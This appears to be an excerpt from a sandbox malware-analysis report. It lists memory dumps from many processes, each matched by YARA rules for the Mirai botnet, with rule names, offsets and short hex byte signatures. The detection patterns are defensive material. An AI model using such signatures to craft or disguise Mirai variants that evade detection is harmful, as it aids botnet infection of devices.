6427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6427.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7080.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7080.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7080.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7080.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7080.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7080.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7369.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7369.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6592.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6592.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6592.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6592.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6592.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6592.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7026.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7026.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7026.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7026.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7026.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7026.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6960.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6960.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6960.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6960.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6960.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6960.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7438.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7438.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6771.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6571.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6571.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6571.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6571.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6571.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6571.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6771.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6771.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6771.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6771.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6771.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7164.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7164.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7164.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7164.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7164.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7164.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7422.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7422.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7362.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7362.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6338.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6338.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6278.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6872.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6872.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6872.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6872.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6872.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6872.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7419.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7419.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6503.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6503.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6503.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6503.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6503.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6503.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6850.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6850.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6850.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6850.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6850.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6850.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6356.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6356.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6847.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6847.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6847.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6847.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6847.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6847.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6980.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6980.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6980.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6980.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6980.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6980.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6984.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6629.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6984.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6984.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6984.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6984.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6984.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6629.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6629.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6629.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6629.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6629.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6541.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6541.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6541.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6541.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6541.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6541.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6378.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6378.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6597.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6597.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6597.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6597.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6597.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6597.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6461.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6461.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6461.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6461.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6461.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6461.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6572.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6572.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6572.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6572.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6572.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6572.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6648.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6648.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6648.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6648.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6648.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6648.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7384.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
